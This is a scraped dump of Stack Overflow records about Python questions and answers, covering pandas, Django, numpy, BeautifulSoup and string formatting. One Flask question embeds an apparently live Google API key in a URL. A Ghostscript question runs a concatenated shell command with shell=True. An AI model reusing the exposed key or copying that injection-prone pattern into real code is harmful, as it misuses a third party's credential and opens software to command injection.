http://stackoverflow.com/comment/81056011
comment on: http://stackoverflow.com/a/47054542
has text: Here I need to know beforehand that column D has this 1:1 relationship with the index value. This means I need to test manually for every column. Is there a way let pandas do this automatically?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81003072
comment on: http://stackoverflow.com/q/47027993
type: Comment
type: QuestionComment
has text: @cᴏʟᴅsᴘᴇᴇᴅ Updated!
score: 0

http://stackoverflow.com/comment/81078148
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/47061911
has text: @Coal_ Besides, unused arguments could be an overlook, that's why you usually want code analysis tools to warn you about them. But not when some framework forces you to have unused arguments. It is not just about making pylint happy but about making it helpful without annoying you.
type: Comment

http://stackoverflow.com/q/46980958
has comment: http://stackoverflow.com/comment/80910362
has body: I am using gambit in python to simulate a world in a game theoretic manner. One construct of gambit is to save the "outcomes" for a set of decisions each player involved takes. This is of the form: game[d1,d2,d3,...,dn][n] = payoff where d1 is the index of decision made by player 1, d2 is the index of decision made by player 2, and so on and n is the index of the player for whom the payoff is being stored. Now, there may be variable number of players, so the dimension of the index passed into the game object may change how do I generate the series from [0,0,...,0] through [8,8,...,8] (where dimension = number of players = n) so that I can store them into [d1,d2,d3,...,dn]?
has comment: http://stackoverflow.com/comment/80909714
downvote count: 1
favorite count: 0
type: Question
tagged with: multidimensional-array
has comment: http://stackoverflow.com/comment/80910164
accepted answer: http://stackoverflow.com/a/46981646
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/46981646
has title: Generating all the possible values in a ndarray in numpy?
tagged with: numpy
type: AnsweredQuestion
tagged with: game-theory
tagged with: gambit
upvote count: 0
answer count: 1

http://stackoverflow.com/comment/80905862
has text: Yes, the answer has the functions with the intersection, union, etc. For three character and you can: `intersection(inverted_index['people'].keys(), intersection(inverted_index['test'].keys(), inverted_index['try'].keys()))`, etc
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46978805

http://stackoverflow.com/comment/80875625
type: AnswerComment
comment on: http://stackoverflow.com/a/46963882
type: Comment
score: 0
has text: That's true. I'll just add extra arguments to the function, but thank you for entertaining my curiosity.

http://stackoverflow.com/a/46965266
upvote count: 2
has comment: http://stackoverflow.com/comment/80879466
answers question: http://stackoverflow.com/q/46965236
type: Answer
has comment: http://stackoverflow.com/comment/80878318
has comment: http://stackoverflow.com/comment/80881590
has comment: http://stackoverflow.com/comment/80878353
score: 2
accepted answer of: http://stackoverflow.com/q/46965236
has comment: http://stackoverflow.com/comment/80881460
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80878275
has body: You should try this instead: print "{} green bottles, hanging on the wall".format(numberToText(i)) My Reasoning for Recommending format Originally, in Python the common way to perform string interpolation (which is what we're talking about here) was to use format strings (such as %s, %d, or %g) and a format operator between your string and the things that were to be inserted into it. However, you have to use the correct format string for the kind of thing you want to interpolate. For instance, to insert a string into another string, you use %s: &gt;&gt;&gt; print "%s green bottles, hanging on the wall" % "fifteen" fifteen green bottles, hanging on the wall However, if you have a number you wish to interpolate, you would typically use %d: &gt;&gt;&gt; print "%d green bottles, hanging on the wall" % 15 15 green bottles, hanging on the wall If you make a mistake, you get an error: &gt;&gt;&gt; print "%d green bottles, hanging on the wall" % "15" Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; TypeError: %d format: a number is required, not str You seemed like you are new to Python, so I recommend just using format instead, which is a newer and more powerful way to perform string interpolation: &gt;&gt;&gt; print "{} green bottles, hanging on the {}".format(20, "balcony") 20 green bottles, hanging on the balcony When you get more comfortable with string interpolation, you can try to do more advanced stuff with format. You will probably never need to use % again to perform string interpolation. I recommend just trying to focus on and remember format.
has comment: http://stackoverflow.com/comment/80878326

http://stackoverflow.com/comment/80918131
type: Comment
comment on: http://stackoverflow.com/a/46985413
type: AnswerComment
has text: @Stefan I'm trying to infer his actual requirements from the text of the question. Otherwise, it isn't clear to me what he/she really wants.
score: 0

http://stackoverflow.com/comment/80924820
type: Comment
has text: @user1432751 see middle paragraph
type: AnswerComment
comment on: http://stackoverflow.com/a/46988882
score: 0

mining
type: Tag
tags question: http://stackoverflow.com/q/47064545
tag name: mining
tags question: http://stackoverflow.com/q/47030227

joystick
type: Tag
tags question: http://stackoverflow.com/q/46907213
tag name: joystick

http://stackoverflow.com/q/47025302
type: AnsweredQuestion
has body: Im scraping through a vendor link directory. Ive created a soup & isolated all the data I want using the find_all method. However the string I need is nested further within the soup. I understand that find_all returns a list but I need to further distill the list to get what I need. Thanks for the help because Im about to chuck my laptop across the room. Below is my current code. Im new to the coding world with a decent understanding of Python but only a basic understanding of Beautiful Soup. URL = get(https://www......) # importing the url I want to work over soup = BeautifulSoup(URL.text, 'html.parser') # making the soup IsoUrl = soup.find_all('a',class='xmd-listing-company-name') # Isolates the tags of the links I need. This is more or less where I get stuck. From the above isolation I get a list composed of the following. Below is only one item of the list. Company' There are 10+ of the above strings in the list. I want to scrape out '/rated.company.html' from each string & append them to a list to iterate through. Any guidance is greatly appreciate. If I need to clarify anything please let me know
has comment: http://stackoverflow.com/comment/80997878
score: 1
tagged with: python
type: Question
downvote count: 0
has answer: http://stackoverflow.com/a/47025422
has title: BeautifulSoup get href after find_all
accepted answer: http://stackoverflow.com/a/47025422
upvote count: 1
answer count: 1
favorite count: 0
tagged with: beautifulsoup

http://stackoverflow.com/comment/81060637
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47056760
has text: How do the migrations look that are created for this app?

http://stackoverflow.com/q/47002559
accepted answer: http://stackoverflow.com/a/47002756
type: AnsweredQuestion
answer count: 2
tagged with: django-views
downvote count: 0
score: 1
upvote count: 1
tagged with: django
tagged with: django-forms
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47002759
possible better answer: http://stackoverflow.com/a/47002759
tagged with: django-models
tagged with: python
has comment: http://stackoverflow.com/comment/80951939
has answer: http://stackoverflow.com/a/47002756
has body: I have my model as this: class Event(models.Model): EventId = models.UUIDField(primary_key=True) Winner = models.ForeignKey('Participant', on_delete=None) class Participant(models.Model): ID = models.UUIDField(primary_key=True) Name = models.CharField() I am trying to update an existing instance of the Event object using this in form.py class UpdateWinner(ModelForm): def __init__(self, *args, **kwargs): e = kwargs.pop('e', '') super(UpdateWinner, self).__init__(*args, **kwargs) self.fields['Winner'] = forms.ModelChoiceField(queryset=e)) class Meta: model = Event fields = '__all__' and in views.py def update_winner(request, event_id): if request.method == 'POST': form = UpdateWinner(request.POST, instance=Event.objects.get(EventId=event_id)) if form.is_valid(): else: event_par = Participant.objects.filter(some query) form = UpdateWinner(instance=event, e=event_par) I did check by printing the eventid, correct value is getting passed. but for some reason Winner field is causing some error with the form.is_valid() function and I am getting an error "'str' object has no attribute 'model'". Can anyone help me out here
has title: django modelform foreignkey update

http://stackoverflow.com/q/47003883
tagged with: python
has title: Ghostcript destination name with blank space returns error
linked to: http://stackoverflow.com/q/12902227
has body: I am creating a paint-like app in Python and I am saving the canvas using Ghostscript with subprocess inside python. The script works fine and I get the desired output, but If there is any blank space in the destination, Ghostscript breaks at that point and returns an error. eg : destination = "/Volumes/Personal/Personal Works/myImage" convertCode = "gs -dSAFER -dNOPAUSE -dBATCH -r300 -g1000x1000 -sDEVICE=pngalpha -sOutputFile=" + destination + ".png " + tempFile subprocess.call(convertCode, shell=True) This returns an Error: /undefinedfilename in (Works/Untitled.png) this clearly shows the Ghostscript breaks due to the space in the destination name. Destination with no space in the middle has no problem. How to solve this problem.
answer count: 0
duplicate of: http://stackoverflow.com/q/12902227
has comment: http://stackoverflow.com/comment/80954551
tagged with: macos
tagged with: ghostscript
favorite count: 0
type: Question
tagged with: tkinter
upvote count: 2
score: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80955592
downvote count: 0

http://stackoverflow.com/a/47059836
downvote count: 0
upvote count: 9
has body: Solution from comments: As mentioned in the 1st paragraph of the groupby docs, you need to sort the data (with the same key function) before passing it to groupby https://docs.python.org/3/library/itertools.html#itertools.groupby
type: Answer
accepted answer of: http://stackoverflow.com/q/47059364
score: 9
answers question: http://stackoverflow.com/q/47059364
type: AcceptedAnswer

http://stackoverflow.com/q/46969436
type: Question
has body: Using allauth and django-rest-auth to create a facebook login api. I've followed the both packages documentations and using example from rest-auth doc. I've followed all the steps and I can successfully use this API from DRF browse-able API view and it is successfully performing the registration. When I try this API from somewhere else like postman it asks for CSRF token. I tried to use csrf_exempt decorator but that doesn't seem to be effective on this url. Here is my url config: url(r'^rest-auth/facebook/$', csrf_exempt(FacebookLogin.as_view()), name='fb_login'), Rest of the things are same as they mentioned in the documentation for django-rest-auth. I can't figure out what am I missing, or where should I look for a fix. Any help to diagnose the issue would be appreciated.
tagged with: facebook
tagged with: django
tagged with: python
tagged with: django-rest-framework
has title: django: rest-auth and allauth for Facebook registration API requires CSRF token
has answer: http://stackoverflow.com/a/46976728
type: AnsweredQuestion
downvote count: 0
tagged with: django-allauth
score: 1
upvote count: 1
answer count: 1
linked to: http://stackoverflow.com/q/46982435
favorite count: 0
accepted answer: http://stackoverflow.com/a/46976728

http://stackoverflow.com/comment/138732473
has text: The link is no longer accessible
score: 0
type: Comment
comment on: http://stackoverflow.com/a/54783550
type: AnswerComment

http://stackoverflow.com/comment/80794389
has text: What do you want the list to be filled up with ? `keys`, `values` or both ?
score: 0
comment on: http://stackoverflow.com/q/46923701
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46944068
has comment: http://stackoverflow.com/comment/80860296
has body: If you're using Python 3, this should work: filename = open('output_cisco') for test in filename: new_line = test.replace("\n","") if (re.match('[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}]',new_line)): print(new_line.split()[0], end=" ") print(new_line.split()[1], end=" ") print(new_line.split()[2], end=" ") print(new_line.split()[3], end=" ") if new_line.split()[4] == 'Down': print("\033[0;31;47m {} ".format(new_line.split()[4]), end="") else: print("\033[0;32;47m {} ".format(new_line.split()[4]), end="") print('\033[0;0;0m') If you're using Python 2, this other version should work: filename = open('output_cisco') for test in filename: new_line = test.replace("\n","") if (re.match('[\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}]',new_line)): print(new_line.split()[0]), print(new_line.split()[1]), print(new_line.split()[2]), print(new_line.split()[3]), if new_line.split()[4] == 'Down': print("\033[0;31;47m %s") % (new_line.split()[4]), else: print("\033[0;32;47m %s") % (new_line.split()[4]), print('\033[0;0;0m') Also, you might need to tweak the last print statement a bit to get the colors back to "normal".
type: Answer
has comment: http://stackoverflow.com/comment/80863860
score: 0
has comment: http://stackoverflow.com/comment/80864359
answers question: http://stackoverflow.com/q/46943100

http://stackoverflow.com/q/46958982
tagged with: python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/46959218
answer count: 2
has answer: http://stackoverflow.com/a/46960266
has comment: http://stackoverflow.com/comment/80865667
type: Question
accepted answer: http://stackoverflow.com/a/46960266
has comment: http://stackoverflow.com/comment/80865739
possible better answer: http://stackoverflow.com/a/46959218
has body: I'm doing a method which calculates amount of greenbucks which are needed to pay the amount of money. The denominations of banknotes are powers of 3. (1, 3, 9, 27, 81...). It works pretty well, but sometimes it shows pow(3, 4) on a 69 number (hehe) which is 81 (it's higher than 64). I probably messed up with loops. :/ The results: ile(69) 5 0 x 81 = 0 2 x 27 = 54 1 x 9 = 9 2 x 3 = 6 0 x 1 = 0 ile(120) 4 1 x 81 = 81 1 x 27 = 27 1 x 9 = 9 1 x 3 = 3 0 x 1 = 0 ile(29) 3 1 x 27 = 27 0 x 9 = 0 0 x 3 = 0 2 x 1 = 2 ile(64) 4 2 x 27 = 54 1 x 9 = 9 0 x 3 = 0 1 x 1 = 1 The expected output of ile(69) is: 5 2 x 27 = 54 1 x 9 = 9 2 x 3 = 6 0 x 1 = 0 The results are perfectly good (4, 3, 4) but the analyzing doesn't work. It shows (0 x 81) which is true, but why is it there? Help. My code: def ile(number): denominations = [] temp = number currentPower = 0 while True: nextPower = int(pow(3, currentPower)) temp -= nextPower currentPower += 1 denominations.append(nextPower) if ((temp - nextPower) &lt; 0): break temp = number greenbacks = [] for denomination in reversed(denominations): div = int(temp / denomination) greenbacks.append(div) temp %= denomination amount = 0 for greenback in greenbacks: amount += greenback print(amount) index = len(denominations) - 1 for greenback in greenbacks: denomination = denominations[index] gamount = greenback * denomination; print(str(greenback) + " x " + str(denomination) + " = " + str(gamount)) index -= 1 ile(69)
has title: Difficulties with getting maximum power of 3 of a number

http://stackoverflow.com/a/47003974
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80954513
answers question: http://stackoverflow.com/q/47003908
upvote count: 2
has body: socket.getservbyport() will translate port numbers into the service expected to be running on that port (via /etc/services), but won't actually communicate over the port to find out what is really running.
downvote count: 0
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/47003908

http://stackoverflow.com/comment/80820372
comment on: http://stackoverflow.com/a/46936390
has text: I think you can just exchange the "plot" with "scatter" it does not really matter in this case. Just leave out the keyword arguments ls and marker @MFHS
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/46935739
has answer: http://stackoverflow.com/a/46937110
possible better answer: http://stackoverflow.com/a/46937110
accepted answer: http://stackoverflow.com/a/46997981
has body: I've got a following setup: VB.NET Web-Service is running and it needs to regularly call Python script with machine learning model to predict some stuff. To do this my Web-Service generates a file with input for Python and runs Python script as a subprocess. The script makes predictions and returns them, as standard output, back to Web-Service. The problem is, that the script requires a few seconds to import all the machine learning libraries and load saved model from drive. It's much more than doing actual prediction. During this time Web-Service is blocked by running subprocess. I have to reduce this time drastically. What I need is a solution to either: 1. Improve libraries and model loading time. 2. Communicate Python script with VB.NET Web-Service and run Python all the time with imports and ML model already loaded.
has title: Speed up Python startup or connect it with VB.NET
tagged with: python
score: -1
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/46997981
upvote count: 0
downvote count: 1
tagged with: vb.net
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/116224776
has text: Hi @sahil-desai it's giving me null value. However, while printing schema gives me Integer. Could you justify it why?
type: AnswerComment
type: Comment
score: 4
comment on: http://stackoverflow.com/a/46963235

http://stackoverflow.com/q/46947443
tagged with: google-translate
score: 0
has title: Google api translation error
has answer: http://stackoverflow.com/a/46947690
type: Question
type: UnansweredQuestion
answer count: 1
tagged with: python
tagged with: flask
has body: Im trying to translate spanish text via googletranslate, @app.route('/out', methods=['POST']) def translate(): pl=request.json.get('spanish') pl=pl.replace(" ","+") payload=pl.encode('utf-8') print (payload) with urllib.request.urlopen('https://translation.googleapis.com/language/translate/v2?q='+str(payload)+'&amp;target=en&amp;format=text&amp;source=es&amp;key=AIzaSyCS-eBQ5gtBlZU4507OjSFMstHDAp8LIao') as response: html = response.read() =============================================================== But Im getting wrong output curl -X POST -H "Content-Type: application/json" -d '{ "spanish": " Se recibió información procedente de dos médicos " }' http://localhost:5000/out Output : b 'Information was received from two m? x? 3? x? So I think the text being passed to google translate is "Se recibió información procedente de dos m? x? 3? x?"rather than "Se recibió información procedente de dos médicos " How can I ensure that the spanish characters are properly passed to google translate.

http://stackoverflow.com/comment/81028590
score: 0
type: QuestionComment
has text: `lon[(lon >= 0) & (lon <= 20.4)]`?
comment on: http://stackoverflow.com/q/47040884
type: Comment

http://stackoverflow.com/a/46999524
has comment: http://stackoverflow.com/comment/80965964
accepted answer of: http://stackoverflow.com/q/46977371
has body: A non-centered version of the model should work much better: β_raw = pm.Normal('β_raw', 0, sd=1, shape=X.get_value().shape[1]) β = pm.Deterministic('β', β_raw * σ) Usually your first impulse if the effective sample size is small shouldn't be to just increase the number of samples, but to try and play with the parametrization a bit. Also, you can use tt.nnet.sigmoid instead of your custom invlogit, that might be faster/more stable.
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/46977371
downvote count: 0
has comment: http://stackoverflow.com/comment/93026863
type: AcceptedAnswer
score: 4

http://stackoverflow.com/comment/80837913
score: 0
has text: @Brijesh `k [::-1] [len(k)%2 :: -1]` would miss the point of checking if n is even
type: Comment
comment on: http://stackoverflow.com/a/46944738
type: AnswerComment

http://stackoverflow.com/comment/81060041
comment on: http://stackoverflow.com/q/47039738
type: Comment
has text: You are correct. Thanks for your help. I updated the openCV from 2 to 3.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/80936666
type: QuestionComment
score: 4
has text: So you want `%s` instead of `%a`?
comment on: http://stackoverflow.com/q/46995107
type: Comment

http://stackoverflow.com/comment/80931886
type: Comment
has text: @hashicode Maybe you can share some larger data sample and show some sample code you are trying. It can be really time-consuming to "guess" further.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46992274

http://stackoverflow.com/comment/81031700
has text: It would help if you gave us a sample of this file. Is '\xef\xbb\xbfen' actually one of those simple ascii words?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47039720
type: QuestionComment

http://stackoverflow.com/q/46942799
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46943512
tagged with: python
has comment: http://stackoverflow.com/comment/80882073
score: 0
tagged with: pandas
has body: I have a dataframe "df" like the sample below. I would like to use address and business_id as a unique key, and filter the dataframe so it only has unique records based on the combination of address and business_id. Can anyone suggest how to do that? Code: print df"address","business_id","city"[1:3] Sample Data: address business_id city 1 2824 Milton Rd mLwM-h2YhXl2NCgdS84_Bw Charlotte 2 337 Danforth Avenue v2WhjAB3PIBA8J8VxG3wEg Toronto
has comment: http://stackoverflow.com/comment/80833011
answer count: 1
type: Question
linked to: http://stackoverflow.com/q/23667369
has title: remove duplicates from dataframe

http://stackoverflow.com/q/46926809
tagged with: tensorflow
favorite count: 0
type: Question
upvote count: 25
has answer: http://stackoverflow.com/a/47045367
downvote count: 0
has comment: http://stackoverflow.com/comment/80801562
tagged with: python
has body: I've written a custom loss function for my neural network but it can't compute any gradients. I thinks it is because I need the index of the highest value and are therefore using argmax to get this index. As argmax is not differentiable I to get around this but I don't know how it is possible. Can anyone help?
answer count: 6
linked to: http://stackoverflow.com/q/43866275
has answer: http://stackoverflow.com/a/75900278
score: 25
has answer: http://stackoverflow.com/a/52876956
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/54294985
has answer: http://stackoverflow.com/a/74024484
has title: Getting around tf.argmax which is not differentiable
has answer: http://stackoverflow.com/a/54294985
accepted answer: http://stackoverflow.com/a/47045795
has answer: http://stackoverflow.com/a/47045795

http://stackoverflow.com/comment/81075034
score: 0
type: QuestionComment
has text: notice, if you had a *python* `int` object, say `i = 42`, then you would have to do something like `fout.write(i.to_bytes(4, 'little'))`
type: Comment
comment on: http://stackoverflow.com/q/47063374

http://stackoverflow.com/comment/81019171
comment on: http://stackoverflow.com/q/47036509
has text: `np.zeros([1] * 263)`
type: Comment
type: QuestionComment
score: 6

http://stackoverflow.com/a/46959878
has body: Like and and or, in isn't allowed to broadcast. The Python language requires that in always returns a boolean. Also, only the right-hand operand can define what in means, and you used a list, not an array. You're getting the in behavior of Python lists. NumPy's in operator is pretty weird and not useful for you. in for lists makes more sense, but still isn't what you need. You need numpy.isin, which behaves like an in test broadcasted across its left operand (but not its right): numpy.isin(target_tokens, group).astype(np.float32)
accepted answer of: http://stackoverflow.com/q/46959287
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46959287
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/a/47169456
score: 0
answers question: http://stackoverflow.com/q/47063196
has body: It looks like your list consists of strings. Have you tried using int()? For example int('0001') returns 1, after stripping out the leading 0s. If you have a long list, you could try using a list comprehension as follows. For example, if a = ['001', '002', '003'], then b = [int(x) for x in a], would make b = [1, 2, 3].
type: Answer

http://stackoverflow.com/comment/80925765
type: AnswerComment
score: 0
has text: Does this work with jpython or cpython? I once I attempted to compile a python program (for some very specific reason). I guess that compiler might have complained about such code, but that's not a use case I'm aiming for. Question: If an interpreter runs across `import foo` multiple times, is that a problem?
type: Comment
comment on: http://stackoverflow.com/a/46989395

http://stackoverflow.com/q/46929973
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/46930337
possible better answer: http://stackoverflow.com/a/46930337
has comment: http://stackoverflow.com/comment/80813365
has title: Python 3 - RecursionError using defaultdict
downvote count: 1
favorite count: 0
type: Question
has body: What am I trying to achieve here ? I want to read every .txt files in a directory and store them into a defaultdict called documents. The key of this defaultdict should be the name of the document and its value should be the content of the document. Note that some of the .txt files are part of the same document (like different pages of a news article): in that case, I want to be able to update documents and append the content of a .txt file if the document already exists in the defauldict. In order to do so, I've been implementing this class: class Document(object): ''' Could be an article, a letter, an interview or whatever ''' def __init__(self): self.name = None self.text = '' self.image = None @property def name(self): return name @name.setter def name(self, name): self.name = name def append_text(self, text): self.text += ' ' + text Then, I use this function to go through all files in a directory and create the defaultdict: def get_documents_from(dir_path): documents = defaultdict(lambda: Document()) for filename in [f for f in os.listdir(dir_path) if f.endswith('.txt')]: name, _ = parse_filename(filename) documents[name].append_text(read_txt(filename)) documents[name].name = name return documents Here, the function parse_filename helps me get the name of the document being read. The function read_text returns the content of the document as a string. When I execute the lines below in a main.py my_dir = 'path/to/directory' documents = get_documents_from(my_dir) I get the following error: File "lda_TM.py", line 17, in &lt;module&gt; documents = get_documents_from(my_dir) File "/path/to/main.py", line 36, in get_documents_from documents[name].append_text(read_txt(filename)) File "/path/to/main.py", line 32, in &lt;lambda&gt; documents = defaultdict(lambda: Document()) File "path/to/Document.py", line 8, in __init__ self.name = None File "path/to/Document.py", line 19, in name self.name = name File "path/to/Document.py", line 19, in name self.name = name File "path…
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80807073
linked to: http://stackoverflow.com/q/18989362
linked to: http://stackoverflow.com/q/598077
tagged with: python
has comment: http://stackoverflow.com/comment/80807175
has comment: http://stackoverflow.com/comment/80807319
duplicate of: http://stackoverflow.com/q/18989362
has answer: http://stackoverflow.com/a/46930321
accepted answer: http://stackoverflow.com/a/46930321
tagged with: defaultdict
type: AnsweredQuestion
tagged with: recursion
score: 0

http://stackoverflow.com/a/46997475
answers question: http://stackoverflow.com/q/46990443
has comment: http://stackoverflow.com/comment/80943605
has comment: http://stackoverflow.com/comment/80943467
has body: It seems you're looking for this: (assume Python 2.7 and input data of &lt;type 'str'&gt;) # function that converts input_string from 'str' to 'unicode' # only if input_string contains non-ASCII bytes def decode_if_no_ascii(input_string): try: input_string.decode('ascii') except UnicodeDecodeError: input_string = input_string.decode('utf-8') # 'utf-8' should match the encoding of input_string, # it could be 'latin_1' or 'cp1252' in a particular case return input_string Let's test the function: # 1. ASCII str input_string = 'string' input_string = decode_if_no_ascii(input_string) print type(input_string), repr(input_string), input_string # &lt;type 'str'&gt; 'string' string # ==&gt; still 'str', no changes # 2. non-ASCII str input_string = 'string €' input_string = decode_if_no_ascii(input_string) print type(input_string), repr(input_string), input_string # &lt;type 'unicode'&gt; u'string \u20ac' string € # ==&gt; converted to 'unicode' Is this what are you looking for?
has comment: http://stackoverflow.com/comment/80945764
accepted answer of: http://stackoverflow.com/q/46990443
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80943538
score: 1
type: Answer

http://stackoverflow.com/a/47018230
score: 0
has comment: http://stackoverflow.com/comment/113430884
type: Answer
has comment: http://stackoverflow.com/comment/111819877
has body: The Python Package Index (PyPi) doesn't support Arm wheels so package maintainers cannot upload pre-built packages for the Arm architecture. If you look at the wheels in the table at the bottom of python-opencv on PyPI you will notice they're all for x86, what you can also notice is this package only ships wheels and no source, therefore there is nothing to fallback on for other architectures. As an example, if you look at the numpy package you'll notice it also ships the source, so although there is no wheel the package can still be built from source on Arm. You're only option is to clone the source here and build manually. It might also be worth creating an issue on the issue tracker as they should be providing source. It's also worth noting that warehouse the successor to PyPI will support Arm wheels.
answers question: http://stackoverflow.com/q/46929919

http://stackoverflow.com/comment/80932345
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46992205
has text: @EugeneLisitsky the credentials are right, because I can access the Database in my other view. see edit.

http://stackoverflow.com/comment/80826340
comment on: http://stackoverflow.com/a/46939179
type: AnswerComment
has text: @bernie Are you sure this works? It shouldn't. Did you type KeyError and TypeError in the other order?
type: Comment
score: 0

http://stackoverflow.com/a/46911986
has body: print " hello {} how are you?".format(person.name) if you want to use position, it begin at 0 print " hello {0} how are you?".format(person.name) 0 means the first element inside format function print " {0},{1},{0}".format('a', 'b') a,b,a
accepted answer of: http://stackoverflow.com/q/46911851
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80771407
has comment: http://stackoverflow.com/comment/80771093
answers question: http://stackoverflow.com/q/46911851
type: Answer
has comment: http://stackoverflow.com/comment/80771363
has comment: http://stackoverflow.com/comment/80771022
has comment: http://stackoverflow.com/comment/80771326

http://stackoverflow.com/comment/81041959
score: 0
comment on: http://stackoverflow.com/q/47047057
type: Comment
type: QuestionComment
has text: Try to run this for example: `scores = model.evaluate(x_test_bin[:10], y_test[:10], verbose=1)`, do you still get an error ?

http://stackoverflow.com/comment/80939313
type: AnswerComment
comment on: http://stackoverflow.com/a/46996034
has text: Thank you very much for your help! I made the array from a dataframe, so your answer is really helpful as well! It's a shame that I can choose only one helpful answer!
score: 0
type: Comment

http://stackoverflow.com/q/46917438
tagged with: pandas
type: AnsweredQuestion
score: 0
has title: Create Dataframe with rows made for each string appearing in a column of another Dataframe
upvote count: 1
answer count: 1
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/46917612
type: Question
tagged with: dataframe
tagged with: python
has body: If you have a dataframe as follows: genre mean_average_budget horror thriller x romance comedy y action thriller z documentary a comedy documentary b How could one be made in which the rows are the individual appearances of each string in the genre column? Eg: genre mean_average_budget horror h thriller i action k documentary l comedy m
accepted answer: http://stackoverflow.com/a/46917612

knuth-morris-pratt
tags question: http://stackoverflow.com/q/47004508
tag name: knuth-morris-pratt
type: Tag

http://stackoverflow.com/comment/80972032
has text: Do you have an \__init__.py in your package (cmd_folder)?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47012702
type: AnswerComment

http://stackoverflow.com/comment/80836521
score: 0
comment on: http://stackoverflow.com/a/46922267
type: Comment
has text: Thanks @ Jebby, I appreciate it!
type: AnswerComment

http://stackoverflow.com/comment/80811645
type: QuestionComment
comment on: http://stackoverflow.com/q/46932386
score: 0
type: Comment
has text: Right,noticed, any clue on how to get the end result i described.

pyq
tags question: http://stackoverflow.com/q/47007888
type: Tag
tag name: pyq

http://stackoverflow.com/comment/80925363
has text: Okay, but what does the -zeros mean? Does it mean they tend to -1?
score: 1
type: Comment
comment on: http://stackoverflow.com/a/46985900
type: AnswerComment

http://stackoverflow.com/q/46937375
has title: python regex not match last char
answer count: 1
has comment: http://stackoverflow.com/comment/80822137
accepted answer: http://stackoverflow.com/a/46937648
type: Question
has comment: http://stackoverflow.com/comment/80822183
has comment: http://stackoverflow.com/comment/80822199
has comment: http://stackoverflow.com/comment/80822491
has comment: http://stackoverflow.com/comment/80822560
has comment: http://stackoverflow.com/comment/80822212
tagged with: python
has body: Im Trying to match numbers separated by / inside [], but the last char is not included, why is this? but without the / import re regex = r"\[.+?\]" Sample1= "text text text[One]" Sample2= "text text text[One/Two]" Sample3= "text text text[One/Two/Three]" lines=[Sample1,Sample2,Sample3] print([re.findall(r"\[(.+?)[^\/]\]", s) for s in lines]) and the out put now is: [['On'], ['One/Tw'], ['One/Two/Thre']] and I wanted to be: [['One'], ['One', 'Two'], ['One','Two','Three']] What wold be the correct regex?
has comment: http://stackoverflow.com/comment/80822589
has answer: http://stackoverflow.com/a/46937648
has comment: http://stackoverflow.com/comment/80822238
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/80989783
comment on: http://stackoverflow.com/q/47016201
score: 0
has text: DRF will get the validators from the model and use them during validation. Somehow, you did not provide everything in your question and something prevents DRF to either fetch the regex or validate against it.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81056473
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47019994
type: Comment
has text: Yes, that does make sense. In your answer above you called your solution "a dirty method". Why is that so? :). Thank you very much!

http://stackoverflow.com/q/47000071
answer count: 0
has comment: http://stackoverflow.com/comment/80948349
downvote count: 1
tagged with: scipy
has comment: http://stackoverflow.com/comment/80948197
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80947831
score: 3
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80947747
has comment: http://stackoverflow.com/comment/80948082
tagged with: python
tagged with: minimize
has comment: http://stackoverflow.com/comment/80946755
has comment: http://stackoverflow.com/comment/80948012
upvote count: 4
has title: Which algorithm for Scipy minimize
has comment: http://stackoverflow.com/comment/80948307
